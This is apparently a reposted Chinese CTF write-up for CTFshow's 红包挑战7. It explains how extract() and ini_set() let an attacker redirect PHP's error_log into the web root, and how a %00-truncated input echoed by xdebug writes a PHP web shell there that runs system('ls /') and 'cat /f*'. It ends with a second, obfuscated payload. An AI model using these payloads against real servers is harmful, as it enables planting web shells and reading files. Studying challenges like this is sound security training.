[CTFshow 红包挑战] 红包挑战7 Write up

红包挑战7

源码如下

<?php
highlight_file(__FILE__);
error_reporting(2);


extract($_GET);
ini_set($name,$value);


system(
    "ls '".filter($_GET[1])."'"
);

function filter($cmd){
    
    
    $cmd = str_replace("'","",$cmd);
    $cmd = str_replace("\\","",$cmd);
    $cmd = str_replace("`","",$cmd);
    $cmd = str_replace("$","",$cmd);
    return $cmd;
}
  1. error_reporting(2); - 这将错误报告级别设置为仅显示警告。这可能是为了隐藏潜在的错误消息,使用户看不到。
  2. extract($_GET); - 这一行从$_GET数组中提取变量,并使用数组键中指定的名称创建变量。如果不适当地进行消毒处理,这可能会带来潜在的变量注入漏洞。
  3. ini_set($name,$value); - 这一行试图使用来自$_GET数组的值来设置PHP配置选项。$name$value的值来自用户输入,这可能会导致潜在的安全漏洞。
  4. system("ls '".filter($_GET[1])."'"); - 这一行试图在一个文件或目录上执行ls命令。命令是使用$_GET数组中的用户输入构建的。filter函数用于通过删除某些字符(如单引号、反斜杠、重音符号和美元符号)来消毒用户输入。然而,这种类型的消毒处理并不十分可靠,可能仍然存在命令注入漏洞的可能性。
  5. filter函数用来过滤传入的值,查看是否有危险字符

这里还存在一个extract()函数

定义和用法

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。

简单来说就是他可以接受我们的$name$value变量并做出处理

预期解

通过ls命令可以遍历目录,搜寻后,可以发现题目php的扩展目录

payload:

http://2fa2962f-a892-42c6-abd2-0a186ea1ab21.challenge.ctf.show/?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731

image-20230814010052319

可以看到,当前环境存在5个扩展,包含xdebug

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节进行截断来触发异常,也就是%00截断

思路就是通过触发异常后,将回显的内容(可控)写入到web目录。即可实现写马。

在此之前先介绍一下ini_set()函数


PHP ini_set() 函数

PHP ini_set用来设置php.ini的值,在函数执行的时候生效,对于虚拟空间来说,很方便,下面为大家介绍下此方法的使用

PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便。

函数格式:string ini_set(string $varname, string $newvalue)

在本题中,我们可以利用ini_set函数来暂时修改php.ini中的PHP配置

PHP error_log记录日志的使用方法和配置
  1. error_reporting = E_ALL ;将会向PHP报告发生的每个错误
  2. display_errors = Off ;不显示满足上条 指令所定义规则的所有错误报告
  3. log_errors = On ;决定日志语句记录的位置
  4. log_errors_max_len = 1024 ;设置每个日志项的最大长度
  5. error_log = “你想存放日志文件的路径/php_error.log” ;指定产生的 错误报告写入的日志文件位置

由于我们可以传入$name$value的值,也就是说明可以控制PHP配置文件的error_log及其错误日志的写入文件,加上前面所提到的xdebug在处理截断问题的时候,会将异常payload回显。所以我们可以通过这一点来进行写马

payload:

?name=error_log&value=/var/www/html/shell.php&1=%00<?php system("ls /");?>

image-20230814011815719

然后访问shell.php

image-20230814012018555

可以看到已经执行ls /的命令,将命令改为cat /f*,然后访问,获得flag

?name=error_log&value=/var/www/html/flag.php&1=%00<?php system("cat /f*");?>

这里建不要与执行ls命令的文件名相同

访问后得到flag

image-20230814012537452

师傅们的其他解法

payload:

/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f");%255C%2527%2527 )?><?php system("cat /*");?>\‘’//\%23

猜你喜欢

转载自blog.csdn.net/Leaf_initial/article/details/132268076